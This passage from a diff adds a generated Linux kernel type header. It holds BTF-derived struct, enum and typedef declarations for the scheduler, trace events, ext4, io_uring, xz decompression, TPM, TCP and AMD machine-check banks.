min_capacity; + long unsigned int max_capacity; + long unsigned int next_update; + int imbalance; + int id; + long unsigned int cpumask[0]; +}; + +struct em_perf_state { + long unsigned int frequency; + long unsigned int power; + long unsigned int cost; + long unsigned int flags; +}; + +struct em_perf_domain { + struct em_perf_state *table; + int nr_perf_states; + long unsigned int flags; + long unsigned int cpus[0]; +}; + +struct sched_attr { + __u32 size; + __u32 sched_policy; + __u64 sched_flags; + __s32 sched_nice; + __u32 sched_priority; + __u64 sched_runtime; + __u64 sched_deadline; + __u64 sched_period; + __u32 sched_util_min; + __u32 sched_util_max; +}; + +struct trace_event_raw_sched_kthread_stop { + struct trace_entry ent; + char comm[16]; + pid_t pid; + char __data[0]; +}; + +struct trace_event_raw_sched_kthread_stop_ret { + struct trace_entry ent; + int ret; + char __data[0]; +}; + +struct trace_event_raw_sched_kthread_work_queue_work { + struct trace_entry ent; + void *work; + void *function; + void *worker; + char __data[0]; +}; + +struct trace_event_raw_sched_kthread_work_execute_start { + struct trace_entry ent; + void *work; + void *function; + char __data[0]; +}; + +struct trace_event_raw_sched_kthread_work_execute_end { + struct trace_entry ent; + void *work; + void *function; + char __data[0]; +}; + +struct trace_event_raw_sched_wakeup_template { + struct trace_entry ent; + char comm[16]; + pid_t pid; + int prio; + int target_cpu; + char __data[0]; +}; + +struct trace_event_raw_sched_switch { + struct trace_entry ent; + char prev_comm[16]; + pid_t prev_pid; + int prev_prio; + long int prev_state; + char next_comm[16]; + pid_t next_pid; + int next_prio; + char __data[0]; +}; + +struct trace_event_raw_sched_migrate_task { + struct trace_entry ent; + char comm[16]; + pid_t pid; + int prio; + int orig_cpu; + int dest_cpu; + char __data[0]; +}; + +struct trace_event_raw_sched_process_template { + struct trace_entry ent; + char comm[16]; + pid_t pid; + int prio; + char __data[0]; +}; + +struct trace_event_raw_sched_process_wait { + struct trace_entry ent; + char comm[16]; + pid_t pid; + int prio; + char __data[0]; +}; + +struct trace_event_raw_sched_process_fork { + struct trace_entry ent; + char parent_comm[16]; + pid_t parent_pid; + char child_comm[16]; + pid_t child_pid; + char __data[0]; +}; + +struct trace_event_raw_sched_process_exec { + struct trace_entry ent; + u32 __data_loc_filename; + pid_t pid; + pid_t old_pid; + char __data[0]; +}; + +struct trace_event_raw_sched_stat_template { + struct trace_entry ent; + char comm[16]; + pid_t pid; + u64 delay; + char __data[0]; +}; + +struct trace_event_raw_sched_stat_runtime { + struct trace_entry ent; + char comm[16]; + pid_t pid; + u64 runtime; + u64 vruntime; + char __data[0]; +}; + +struct trace_event_raw_sched_pi_setprio { + struct trace_entry ent; + char comm[16]; + pid_t pid; + int oldprio; + int newprio; + char __data[0]; +}; + +struct trace_event_raw_sched_process_hang { + struct trace_entry ent; + char comm[16]; + pid_t pid; + char __data[0]; +}; + +struct trace_event_raw_sched_move_numa { + struct trace_entry ent; + pid_t pid; + pid_t tgid; + pid_t ngid; + int src_cpu; + int src_nid; + int dst_cpu; + int dst_nid; + char __data[0]; +}; + +struct trace_event_raw_sched_numa_pair_template { + struct trace_entry ent; + pid_t src_pid; + pid_t src_tgid; + pid_t src_ngid; + int src_cpu; + int src_nid; + pid_t dst_pid; + pid_t dst_tgid; + pid_t dst_ngid; + int dst_cpu; + int dst_nid; + char __data[0]; +}; + +struct trace_event_raw_sched_wake_idle_without_ipi { + struct trace_entry ent; + int cpu; + char __data[0]; +}; + +struct trace_event_data_offsets_sched_kthread_stop {}; + +struct trace_event_data_offsets_sched_kthread_stop_ret {}; + +struct trace_event_data_offsets_sched_kthread_work_queue_work {}; + +struct trace_event_data_offsets_sched_kthread_work_execute_start {}; + +struct trace_event_data_offsets_sched_kthread_work_execute_end {}; + +struct trace_event_data_offsets_sched_wakeup_template {}; + +struct trace_event_data_offsets_sched_switch {}; + +struct trace_event_data_offsets_sched_migrate_task {}; + +struct trace_event_data_offsets_sched_process_template {}; + +struct trace_event_data_offsets_sched_process_wait {}; + +struct trace_event_data_offsets_sched_process_fork {}; + +struct trace_event_data_offsets_sched_process_exec { + u32 filename; +}; + +struct trace_event_data_offsets_sched_stat_template {}; + +struct trace_event_data_offsets_sched_stat_runtime {}; + +struct trace_event_data_offsets_sched_pi_setprio {}; + +struct trace_event_data_offsets_sched_process_hang {}; + +struct trace_event_data_offsets_sched_move_numa {}; + +struct trace_event_data_offsets_sched_numa_pair_template {}; + +struct trace_event_data_offsets_sched_wake_idle_without_ipi {}; + +typedef void (*btf_trace_sched_kthread_stop)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_kthread_stop_ret)(void *, int); + +typedef void (*btf_trace_sched_kthread_work_queue_work)(void *, struct kthread_worker *, struct kthread_work *); + +typedef void (*btf_trace_sched_kthread_work_execute_start)(void *, struct kthread_work *); + +typedef void (*btf_trace_sched_kthread_work_execute_end)(void *, struct kthread_work *, kthread_work_func_t); + +typedef void (*btf_trace_sched_waking)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_wakeup)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_wakeup_new)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_switch)(void *, bool, struct task_struct *, struct task_struct *, unsigned int); + +typedef void (*btf_trace_sched_migrate_task)(void *, struct task_struct *, int); + +typedef void (*btf_trace_sched_process_free)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_process_exit)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_wait_task)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_process_wait)(void *, struct pid *); + +typedef void (*btf_trace_sched_process_fork)(void *, struct task_struct *, struct task_struct *); + +typedef void (*btf_trace_sched_process_exec)(void *, struct task_struct *, pid_t, struct linux_binprm *); + +typedef void (*btf_trace_sched_stat_wait)(void *, struct task_struct *, u64); + +typedef void (*btf_trace_sched_stat_sleep)(void *, struct task_struct *, u64); + +typedef void (*btf_trace_sched_stat_iowait)(void *, struct task_struct *, u64); + +typedef void (*btf_trace_sched_stat_blocked)(void *, struct task_struct *, u64); + +typedef void (*btf_trace_sched_stat_runtime)(void *, struct task_struct *, u64, u64); + +typedef void (*btf_trace_sched_pi_setprio)(void *, struct task_struct *, struct task_struct *); + +typedef void (*btf_trace_sched_process_hang)(void *, struct task_struct *); + +typedef void (*btf_trace_sched_move_numa)(void *, struct task_struct *, int, int); + +typedef void (*btf_trace_sched_stick_numa)(void *, struct task_struct *, int, struct task_struct *, int); + +typedef void (*btf_trace_sched_swap_numa)(void *, struct task_struct *, int, struct task_struct *, int); + +typedef void (*btf_trace_sched_wake_idle_without_ipi)(void *, int); + +typedef void (*btf_trace_pelt_cfs_tp)(void *, struct cfs_rq *); + +typedef void (*btf_trace_pelt_rt_tp)(void *, struct rq *); + +struct rt_prio_array { + long unsigned int bitmap[2]; + struct list_head queue[100]; +}; + +struct rt_rq { + struct rt_prio_array active; + unsigned int rt_nr_running; + unsigned int rr_nr_running; + struct { + int curr; + int next; + } highest_prio; + unsigned int rt_nr_migratory; + unsigned int rt_nr_total; + int overloaded; + struct plist_head pushable_tasks; + int rt_queued; + int rt_throttled; + u64 rt_time; + u64 rt_runtime; + raw_spinlock_t rt_runtime_lock; +}; + +struct dl_rq { + struct rb_root_cached root; + unsigned int dl_nr_running; + struct { + u64 curr; + u64 next; + } earliest_dl; + unsigned int dl_nr_migratory; + int overloaded; + struct rb_root_cached pushable_dl_tasks_root; + u64 running_bw; + u64 this_bw; + u64 extra_bw; + u64 bw_ratio; +}; + +struct balance_callback; + +struct rq { + raw_spinlock_t __lock; + unsigned int nr_running; + unsigned int nr_numa_running; + unsigned int nr_preferred_running; + unsigned int numa_migrate_on; + long unsigned int last_blocked_load_update_tick; + unsigned int has_blocked_load; + call_single_data_t nohz_csd; + unsigned int nohz_tick_stopped; + atomic_t nohz_flags; + unsigned int ttwu_pending; + u64 nr_switches; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct cfs_rq cfs; + struct rt_rq rt; + struct dl_rq dl; + struct list_head leaf_cfs_rq_list; + struct list_head *tmp_alone_branch; + unsigned int nr_uninterruptible; + struct task_struct *curr; + struct task_struct *idle; + struct task_struct *stop; + long unsigned int next_balance; + struct mm_struct *prev_mm; + unsigned int clock_update_flags; + u64 clock; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + u64 clock_task; + u64 clock_pelt; + long unsigned int lost_idle_time; + u64 clock_pelt_idle; + u64 clock_idle; + atomic_t nr_iowait; + u64 last_seen_need_resched_ns; + int ticks_without_resched; + int membarrier_state; + struct root_domain *rd; + struct sched_domain *sd; + long unsigned int cpu_capacity; + long unsigned int cpu_capacity_orig; + struct balance_callback *balance_callback; + unsigned char nohz_idle_balance; + unsigned char idle_balance; + long unsigned int misfit_task_load; + int active_balance; + int push_cpu; + struct cpu_stop_work active_balance_work; + int cpu; + int online; + struct list_head cfs_tasks; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct sched_avg avg_rt; + struct sched_avg avg_dl; + u64 idle_stamp; + u64 avg_idle; + long unsigned int wake_stamp; + u64 wake_avg_idle; + u64 max_idle_balance_cost; + struct rcuwait hotplug_wait; + long unsigned int calc_load_update; + long int calc_load_active; + call_single_data_t hrtick_csd; + struct hrtimer hrtick_timer; + ktime_t hrtick_time; + struct sched_info rq_sched_info; + long long unsigned int rq_cpu_time; + unsigned int yld_count; + unsigned int sched_count; + unsigned int sched_goidle; + unsigned int ttwu_count; + unsigned int ttwu_local; + struct cpuidle_state *idle_state; + unsigned int nr_pinned; + unsigned int push_busy; + struct cpu_stop_work push_work; + cpumask_var_t scratch_mask; + long: 64; + call_single_data_t cfsb_csd; + struct list_head cfsb_csd_list; + long: 64; + long: 64; +}; + +typedef void (*btf_trace_pelt_dl_tp)(void *, struct rq *); + +typedef void (*btf_trace_pelt_thermal_tp)(void *, struct rq *); + +typedef void (*btf_trace_pelt_irq_tp)(void *, struct rq *); + +typedef void (*btf_trace_pelt_se_tp)(void *, struct sched_entity *); + +typedef void (*btf_trace_sched_cpu_capacity_tp)(void *, struct rq *); + +typedef void (*btf_trace_sched_overutilized_tp)(void *, struct root_domain *, bool); + +typedef void (*btf_trace_sched_util_est_cfs_tp)(void *, struct cfs_rq *); + +typedef void (*btf_trace_sched_util_est_se_tp)(void *, struct sched_entity *); + +typedef void (*btf_trace_sched_update_nr_running_tp)(void *, struct rq *, int); + +struct trace_event_raw_ipi_raise { + struct trace_entry ent; + u32 __data_loc_target_cpus; + const char *reason; + char __data[0]; +}; + +struct trace_event_raw_ipi_send_cpu { + struct trace_entry ent; + unsigned int cpu; + void *callsite; + void *callback; + char __data[0]; +}; + +struct trace_event_raw_ipi_send_cpumask { + struct trace_entry ent; + u32 __data_loc_cpumask; + void *callsite; + void *callback; + char __data[0]; +}; + +struct trace_event_raw_ipi_handler { + struct trace_entry ent; + const char *reason; + char __data[0]; +}; + +struct trace_event_data_offsets_ipi_raise { + u32 target_cpus; +}; + +struct trace_event_data_offsets_ipi_send_cpu {}; + +struct trace_event_data_offsets_ipi_send_cpumask { + u32 cpumask; +}; + +struct trace_event_data_offsets_ipi_handler {}; + +typedef void (*btf_trace_ipi_raise)(void *, const struct cpumask *, const char *); + +typedef void (*btf_trace_ipi_send_cpu)(void *, const unsigned int, long unsigned int, void *); + +typedef void (*btf_trace_ipi_send_cpumask)(void *, const struct cpumask *, long unsigned int, void *); + +typedef void (*btf_trace_ipi_entry)(void *, const char *); + +typedef void (*btf_trace_ipi_exit)(void *, const char *); + +struct cpudl_item { + u64 dl; + int cpu; + int idx; +}; + +struct rt_bandwidth { + raw_spinlock_t rt_runtime_lock; + ktime_t rt_period; + u64 rt_runtime; + struct hrtimer rt_period_timer; + unsigned int rt_period_active; +}; + +typedef int (*tg_visitor)(struct task_group *, void *); + +struct perf_domain { + struct em_perf_domain *em_pd; + struct perf_domain *next; + struct callback_head rcu; +}; + +struct balance_callback { + struct balance_callback *next; + void (*func)(struct rq *); +}; + +struct rq_flags { + long unsigned int flags; + struct pin_cookie cookie; + unsigned int clock_update_flags; +}; + +enum numa_topology_type { + NUMA_DIRECT = 0, + NUMA_GLUELESS_MESH = 1, + NUMA_BACKPLANE = 2, +}; + +struct sched_entity_stats { + struct sched_entity se; + struct sched_statistics stats; +}; + +enum { + __SCHED_FEAT_GENTLE_FAIR_SLEEPERS = 0, + __SCHED_FEAT_START_DEBIT = 1, + __SCHED_FEAT_NEXT_BUDDY = 2, + __SCHED_FEAT_LAST_BUDDY = 3, + __SCHED_FEAT_CACHE_HOT_BUDDY = 4, + __SCHED_FEAT_WAKEUP_PREEMPTION = 5, + __SCHED_FEAT_HRTICK = 6, + __SCHED_FEAT_HRTICK_DL = 7, + __SCHED_FEAT_DOUBLE_TICK = 8, + __SCHED_FEAT_NONTASK_CAPACITY = 9, + __SCHED_FEAT_TTWU_QUEUE = 10, + __SCHED_FEAT_SIS_PROP = 11, + __SCHED_FEAT_SIS_UTIL = 12, + __SCHED_FEAT_WARN_DOUBLE_CLOCK = 13, + __SCHED_FEAT_RT_PUSH_IPI = 14, + __SCHED_FEAT_RT_RUNTIME_SHARE = 15, + __SCHED_FEAT_LB_MIN = 16, + __SCHED_FEAT_ATTACH_AGE_LOAD = 17, + __SCHED_FEAT_WA_IDLE = 18, + __SCHED_FEAT_WA_WEIGHT = 19, + __SCHED_FEAT_WA_BIAS = 20, + __SCHED_FEAT_UTIL_EST = 21, + __SCHED_FEAT_UTIL_EST_FASTUP = 22, + __SCHED_FEAT_LATENCY_WARN = 23, + __SCHED_FEAT_ALT_PERIOD = 24, + __SCHED_FEAT_BASE_SLICE = 25, + __SCHED_FEAT_NR = 26, +}; + +struct affinity_context { + const struct cpumask *new_mask; + struct cpumask *user_mask; + unsigned int flags; +}; + +enum cpu_util_type { + FREQUENCY_UTIL = 0, + ENERGY_UTIL = 1, +}; + +struct set_affinity_pending; + +struct migration_arg { + struct task_struct *task; + int dest_cpu; + struct set_affinity_pending *pending; +}; + +struct set_affinity_pending { + refcount_t refs; + unsigned int stop_pending; + struct completion done; + struct cpu_stop_work stop_work; + struct migration_arg arg; +}; + +struct migration_swap_arg { + struct task_struct *src_task; + struct task_struct *dst_task; + int src_cpu; + int dst_cpu; +}; + +enum { + preempt_dynamic_undefined = -1, + preempt_dynamic_none = 0, + preempt_dynamic_voluntary = 1, + preempt_dynamic_full = 2, +}; + +struct cfs_schedulable_data { + struct task_group *tg; + u64 period; + u64 quota; +}; + +enum { + cpuset = 0, + possible = 1, + fail = 2, +}; + +union cpumask_rcuhead { + cpumask_t cpumask; + struct callback_head rcu; +}; + +struct page_vma_mapped_walk { + long unsigned int pfn; + long unsigned int nr_pages; + long unsigned int pgoff; + struct vm_area_struct *vma; + long unsigned int address; + pmd_t *pmd; + pte_t *pte; + spinlock_t *ptl; + unsigned int flags; +}; + +struct vmemmap_remap_walk { + void (*remap_pte)(pte_t *, long unsigned int, struct vmemmap_remap_walk *); + long unsigned int nr_walked; + struct page *reuse_page; + long unsigned int reuse_addr; + struct list_head *vmemmap_pages; +}; + +enum { + VERBOSE_STATUS = 1, +}; + +enum { + Enabled = 0, + Magic = 1, +}; + +typedef struct { + struct list_head list; + long unsigned int flags; + int offset; + int size; + char *magic; + char *mask; + const char *interpreter; + char *name; + struct dentry *dentry; + struct file *interp_file; +} Node; + +struct fstrim_range { + __u64 start; + __u64 len; + __u64 minlen; +}; + +enum blk_default_limits { + BLK_MAX_SEGMENTS = 128, + BLK_SAFE_MAX_SECTORS = 255, + BLK_MAX_SEGMENT_SIZE = 65536, + BLK_SEG_BOUNDARY_MASK = 4294967295, +}; + +struct ext4_free_data { + struct list_head efd_list; + struct rb_node efd_node; + ext4_group_t efd_group; + ext4_grpblk_t efd_start_cluster; + ext4_grpblk_t efd_count; + tid_t efd_tid; +}; + +enum { + MB_INODE_PA = 0, + MB_GROUP_PA = 1, +}; + +struct ext4_buddy { + struct page *bd_buddy_page; + void *bd_buddy; + struct page *bd_bitmap_page; + void *bd_bitmap; + struct ext4_group_info *bd_info; + struct super_block *bd_sb; + __u16 bd_blkbits; + ext4_group_t bd_group; +}; + +typedef int (*ext4_mballoc_query_range_fn)(struct super_block *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t, void *); + +struct sg { + struct ext4_group_info info; + ext4_grpblk_t counters[18]; +}; + +struct ipc_proc_iface { + const char *path; + const char *header; + int ids; + int (*show)(struct seq_file *, void *); +}; + +struct ipc_proc_iter { + struct ipc_namespace *ns; + struct pid_namespace *pid_ns; + struct ipc_proc_iface *iface; +}; + +typedef int (*initxattrs)(struct inode *, const struct xattr *, void *); + +enum data_formats { + DATA_FMT_DIGEST = 0, + DATA_FMT_DIGEST_WITH_ALGO = 1, + DATA_FMT_DIGEST_WITH_TYPE_AND_ALGO = 2, + DATA_FMT_STRING = 3, + DATA_FMT_HEX = 4, + DATA_FMT_UINT = 5, +}; + +enum digest_type { + DIGEST_TYPE_IMA = 0, + DIGEST_TYPE_VERITY = 1, + DIGEST_TYPE__LAST = 2, +}; + +struct blkpg_ioctl_arg { + int op; + int flags; + int datalen; + void *data; +}; + +struct blkpg_partition { + long long int start; + long long int length; + int pno; + char devname[64]; + char volname[64]; +}; + +struct pr_reservation { + __u64 key; + __u32 type; + __u32 flags; +}; + +struct pr_registration { + __u64 old_key; + __u64 new_key; + __u32 flags; + __u32 __pad; +}; + +struct pr_preempt { + __u64 old_key; + __u64 new_key; + __u32 type; + __u32 flags; +}; + +struct pr_clear { + __u64 key; + __u32 flags; + __u32 __pad; +}; + +struct io_uring_sync_cancel_reg { + __u64 addr; + __s32 fd; + __u32 flags; + struct __kernel_timespec timeout; + __u64 pad[4]; +}; + +enum io_wq_cancel { + IO_WQ_CANCEL_OK = 0, + IO_WQ_CANCEL_RUNNING = 1, + IO_WQ_CANCEL_NOTFOUND = 2, +}; + +struct io_cancel { + struct file *file; + u64 addr; + u32 flags; + s32 fd; +}; + +struct reciprocal_value_adv { + u32 m; + u8 sh; + u8 exp; + bool is_wide_m; +}; + +typedef struct { + u64 a; + u64 b; +} u128; + +typedef struct { + __le64 b; + __le64 a; +} le128; + +struct gf128mul_4k { + be128 t[256]; +}; + +struct gf128mul_64k { + struct gf128mul_4k *t[16]; +}; + +enum lzma_state { + STATE_LIT_LIT = 0, + STATE_MATCH_LIT_LIT = 1, + STATE_REP_LIT_LIT = 2, + STATE_SHORTREP_LIT_LIT = 3, + STATE_MATCH_LIT = 4, + STATE_REP_LIT = 5, + STATE_SHORTREP_LIT = 6, + STATE_LIT_MATCH = 7, + STATE_LIT_LONGREP = 8, + STATE_LIT_SHORTREP = 9, + STATE_NONLIT_MATCH = 10, + STATE_NONLIT_REP = 11, +}; + +struct dictionary { + uint8_t *buf; + size_t start; + size_t pos; + size_t full; + size_t limit; + size_t end; + uint32_t size; + uint32_t size_max; + uint32_t allocated; + enum xz_mode mode; +}; + +struct rc_dec { + uint32_t range; + uint32_t code; + uint32_t init_bytes_left; + const uint8_t *in; + size_t in_pos; + size_t in_limit; +}; + +struct lzma_len_dec { + uint16_t choice; + uint16_t choice2; + uint16_t low[128]; + uint16_t mid[128]; + uint16_t high[256]; +}; + +struct lzma_dec { + uint32_t rep0; + uint32_t rep1; + uint32_t rep2; + uint32_t rep3; + enum lzma_state state; + uint32_t len; + uint32_t lc; + uint32_t literal_pos_mask; + uint32_t pos_mask; + uint16_t is_match[192]; + uint16_t is_rep[12]; + uint16_t is_rep0[12]; + uint16_t is_rep1[12]; + uint16_t is_rep2[12]; + uint16_t is_rep0_long[192]; + uint16_t dist_slot[256]; + uint16_t dist_special[114]; + uint16_t dist_align[16]; + struct lzma_len_dec match_len_dec; + struct lzma_len_dec rep_len_dec; + uint16_t literal[12288]; +}; + +enum lzma2_seq { + SEQ_CONTROL = 0, + SEQ_UNCOMPRESSED_1 = 1, + SEQ_UNCOMPRESSED_2 = 2, + SEQ_COMPRESSED_0 = 3, + SEQ_COMPRESSED_1 = 4, + SEQ_PROPERTIES = 5, + SEQ_LZMA_PREPARE = 6, + SEQ_LZMA_RUN = 7, + SEQ_COPY = 8, +}; + +struct lzma2_dec { + enum lzma2_seq sequence; + enum lzma2_seq next_sequence; + uint32_t uncompressed; + uint32_t compressed; + bool need_dict_reset; + bool need_props; +}; + +struct xz_dec_lzma2 { + struct rc_dec rc; + struct dictionary dict; + struct lzma2_dec lzma2; + struct lzma_dec lzma; + struct { + uint32_t size; + uint8_t buf[63]; + } temp; +}; + +struct throttling_tstate { + unsigned int cpu; + int target_state; +}; + +struct acpi_processor_throttling_arg { + struct acpi_processor *pr; + int target_state; + bool force; +}; + +struct sysrq_state { + struct input_handle handle; + struct work_struct reinject_work; + long unsigned int key_down[12]; + unsigned int alt; + unsigned int alt_use; + unsigned int shift; + unsigned int shift_use; + bool active; + bool need_reinject; + bool reinjecting; + bool reset_canceled; + bool reset_requested; + long unsigned int reset_keybit[12]; + int reset_seq_len; + int reset_seq_cnt; + int reset_seq_version; + struct timer_list keyreset_timer; +}; + +enum TPM_OPS_FLAGS { + TPM_OPS_AUTO_STARTUP = 1, +}; + +enum tis_access { + TPM_ACCESS_VALID = 128, + TPM_ACCESS_ACTIVE_LOCALITY = 32, + TPM_ACCESS_REQUEST_PENDING = 4, + TPM_ACCESS_REQUEST_USE = 2, +}; + +enum tis_status { + TPM_STS_VALID = 128, + TPM_STS_COMMAND_READY = 64, + TPM_STS_GO = 32, + TPM_STS_DATA_AVAIL = 16, + TPM_STS_DATA_EXPECT = 8, + TPM_STS_READ_ZERO = 35, +}; + +enum tis_int_flags { + TPM_GLOBAL_INT_ENABLE = 2147483648, + TPM_INTF_BURST_COUNT_STATIC = 256, + TPM_INTF_CMD_READY_INT = 128, + TPM_INTF_INT_EDGE_FALLING = 64, + TPM_INTF_INT_EDGE_RISING = 32, + TPM_INTF_INT_LEVEL_LOW = 16, + TPM_INTF_INT_LEVEL_HIGH = 8, + TPM_INTF_LOCALITY_CHANGE_INT = 4, + TPM_INTF_STS_VALID_INT = 2, + TPM_INTF_DATA_AVAIL_INT = 1, +}; + +enum tis_defaults { + TIS_MEM_LEN = 20480, + TIS_SHORT_TIMEOUT = 750, + TIS_LONG_TIMEOUT = 2000, + TIS_TIMEOUT_MIN_ATML = 14700, + TIS_TIMEOUT_MAX_ATML = 15000, +}; + +enum tpm_tis_flags { + TPM_TIS_ITPM_WORKAROUND = 1, + TPM_TIS_INVALID_STATUS = 2, + TPM_TIS_DEFAULT_CANCELLATION = 4, + TPM_TIS_IRQ_TESTED = 8, +}; + +struct tpm_tis_phy_ops; + +struct tpm_tis_data { + u16 manufacturer_id; + struct mutex locality_count_mutex; + unsigned int locality_count; + int locality; + int irq; + unsigned int int_mask; + long unsigned int flags; + void *ilb_base_addr; + u16 clkrun_enabled; + wait_queue_head_t int_queue; + wait_queue_head_t read_queue; + const struct tpm_tis_phy_ops *phy_ops; + short unsigned int rng_quality; + unsigned int timeout_min; + unsigned int timeout_max; +}; + +enum tpm_tis_io_mode { + TPM_TIS_PHYS_8 = 0, + TPM_TIS_PHYS_16 = 1, + TPM_TIS_PHYS_32 = 2, +}; + +struct tpm_tis_phy_ops { + int (*read_bytes)(struct tpm_tis_data *, u32, u16, u8 *, enum tpm_tis_io_mode); + int (*write_bytes)(struct tpm_tis_data *, u32, u16, const u8 *, enum tpm_tis_io_mode); + int (*verify_crc)(struct tpm_tis_data *, size_t, const u8 *); +}; + +struct tis_vendor_durations_override { + u32 did_vid; + struct tpm1_version version; + long unsigned int durations[3]; +}; + +struct tis_vendor_timeout_override { + u32 did_vid; + long unsigned int timeout_us[4]; +}; + +struct builtin_fw { + char *name; + void *data; + long unsigned int size; +}; + +struct dma_resv_list { + struct callback_head rcu; + u32 num_fences; + u32 max_fences; + struct dma_fence *table[0]; +}; + +struct netdev_lag_lower_state_info { + u8 link_up: 1; + u8 tx_enabled: 1; +}; + +struct net_failover_info { + struct net_device *primary_dev; + struct net_device *standby_dev; + struct rtnl_link_stats64 primary_stats; + struct rtnl_link_stats64 standby_stats; + struct rtnl_link_stats64 failover_stats; + spinlock_t stats_lock; +}; + +struct cpufreq_stats { + unsigned int total_trans; + long long unsigned int last_time; + unsigned int max_state; + unsigned int state_num; + unsigned int last_index; + u64 *time_in_state; + unsigned int *freq_table; + unsigned int *trans_table; + unsigned int reset_pending; + long long unsigned int reset_time; +}; + +struct sock_diag_req { + __u8 sdiag_family; + __u8 sdiag_protocol; +}; + +enum sknetlink_groups { + SKNLGRP_NONE = 0, + SKNLGRP_INET_TCP_DESTROY = 1, + SKNLGRP_INET_UDP_DESTROY = 2, + SKNLGRP_INET6_TCP_DESTROY = 3, + SKNLGRP_INET6_UDP_DESTROY = 4, + __SKNLGRP_MAX = 5, +}; + +struct broadcast_sk { + struct sock *sk; + struct work_struct work; +}; + +struct mini_Qdisc_pair { + struct mini_Qdisc miniq1; + struct mini_Qdisc miniq2; + struct mini_Qdisc **p_miniq; +}; + +struct ingress_sched_data { + struct tcf_block *block; + struct tcf_block_ext_info block_info; + struct mini_Qdisc_pair miniqp; +}; + +struct clsact_sched_data { + struct tcf_block *ingress_block; + struct tcf_block *egress_block; + struct tcf_block_ext_info ingress_block_info; + struct tcf_block_ext_info egress_block_info; + struct mini_Qdisc_pair miniqp_ingress; + struct mini_Qdisc_pair miniqp_egress; +}; + +enum { + ETHTOOL_A_PAUSE_STAT_UNSPEC = 0, + ETHTOOL_A_PAUSE_STAT_PAD = 1, + ETHTOOL_A_PAUSE_STAT_TX_FRAMES = 2, + ETHTOOL_A_PAUSE_STAT_RX_FRAMES = 3, + __ETHTOOL_A_PAUSE_STAT_CNT = 4, + ETHTOOL_A_PAUSE_STAT_MAX = 3, +}; + +struct pause_req_info { + struct ethnl_req_info base; + enum ethtool_mac_stats_src src; +}; + +struct pause_reply_data { + struct ethnl_reply_data base; + struct ethtool_pauseparam pauseparam; + struct ethtool_pause_stats pausestat; +}; + +struct tcp_sack_block_wire { + __be32 start_seq; + __be32 end_seq; +}; + +enum tcp_ca_ack_event_flags { + CA_ACK_SLOWPATH = 1, + CA_ACK_WIN_UPDATE = 2, + CA_ACK_ECE = 4, +}; + +enum { + SCM_TSTAMP_SND = 0, + SCM_TSTAMP_SCHED = 1, + SCM_TSTAMP_ACK = 2, +}; + +struct tcp_sacktag_state { + u64 first_sackt; + u64 last_sackt; + u32 reord; + u32 sack_delivered; + int flag; + unsigned int mss_now; + struct rate_sample *rate; +}; + +struct tcp_md5sig { + struct __kernel_sockaddr_storage tcpm_addr; + __u8 tcpm_flags; + __u8 tcpm_prefixlen; + __u16 tcpm_keylen; + int tcpm_ifindex; + __u8 tcpm_key[80]; +}; + +enum flowlabel_reflect { + FLOWLABEL_REFLECT_ESTABLISHED = 1, + FLOWLABEL_REFLECT_TCP_RESET = 2, + FLOWLABEL_REFLECT_ICMPV6_ECHO_REPLIES = 4, +}; + +struct tcp6_pseudohdr { + struct in6_addr saddr; + struct in6_addr daddr; + __be32 len; + __be32 protocol; +}; + +struct tcp_md5sig_pool { + struct ahash_request *md5_req; + void *scratch; +}; + +enum tcp_seq_states { + TCP_SEQ_STATE_LISTENING = 0, + TCP_SEQ_STATE_ESTABLISHED = 1, +}; + +struct tcp_seq_afinfo { + sa_family_t family; +}; + +struct tcp_iter_state { + struct seq_net_private p; + enum tcp_seq_states state; + struct sock *syn_wait_sk; + int bucket; + int offset; + int sbucket; + int num; + loff_t last_pos; +}; + +struct xdp_rxtx_ring { + struct xdp_ring ptrs; + struct xdp_desc desc[0]; +}; + +struct mptcp_skb_cb { + u64 map_seq; + u64 end_seq; + u32 offset; + u8 has_rxtstamp: 1; +}; + +struct perf_msr { + u64 msr; + struct attribute_group *grp; + bool (*test)(int, void *); + bool no_check; + u64 mask; +}; + +struct x86_cpu_desc { + u8 x86_family; + u8 x86_vendor; + u8 x86_model; + u8 x86_stepping; + u32 x86_microcode_rev; +}; + +struct amd_l3_cache { + unsigned int indices; + u8 subcaches[4]; +}; + +struct threshold_block { + unsigned int block; + unsigned int bank; + unsigned int cpu; + u32 address; + u16 interrupt_enable; + bool interrupt_capable; + u16 threshold_limit; + struct kobject kobj; + struct list_head miscj; +}; + +struct threshold_bank { + struct kobject *kobj; + struct threshold_block *blocks; + refcount_t cpus; + unsigned int shared; +}; + +struct amd_northbridge { + struct pci_dev *root; + struct pci_dev *misc; + struct pci_dev *link; + struct amd_l3_cache l3_cache; + struct threshold_bank *bank4; +}; + +enum smca_bank_types { + SMCA_LS = 0, + SMCA_LS_V2 = 1, + SMCA_IF = 2, + SMCA_L2_CACHE = 3, + SMCA_DE = 4, + SMCA_RESERVED = 5, + SMCA_EX = 6, + SMCA_FP = 7, + SMCA_L3_CACHE = 8, + SMCA_CS = 9, + SMCA_CS_V2 = 10, + SMCA_PIE = 11, + SMCA_UMC = 12, + SMCA_UMC_V2 = 13, + SMCA_PB = 14, + SMCA_PSP = 15, + SMCA_PSP_V2 = 16, + SMCA_SMU = 17, + SMCA_SMU_V2 = 18, + SMCA_MP5 = 19, + SMCA_MPDMA = 20, + SMCA_NBIO = 21, + SMCA_PCIE = 22, + SMCA_PCIE_V2 = 23, + SMCA_XGMI_PCS = 24, + SMCA_NBIF = 25, + SMCA_SHUB = 26, + SMCA_SATA = 27, + SMCA_USB = 28, + SMCA_GMI_PCS = 29, + SMCA_XGMI_PHY = 30, + SMCA_WAFL_PHY = 31, + SMCA_GMI_PHY = 32, + N_SMCA_BANK_TYPES = 33, +}; + +enum mca_msr { + MCA_CTL = 0, + MCA_STATUS = 1, + MCA_ADDR = 2, + MCA_MISC = 3, +}; + +struct smca_hwid { + unsigned int bank_type; + u32 hwid_mcatype; +}; + +struct smca_bank { + const struct smca_hwid *hwid; + u32 id; + u8 sysfs_id; +}; + 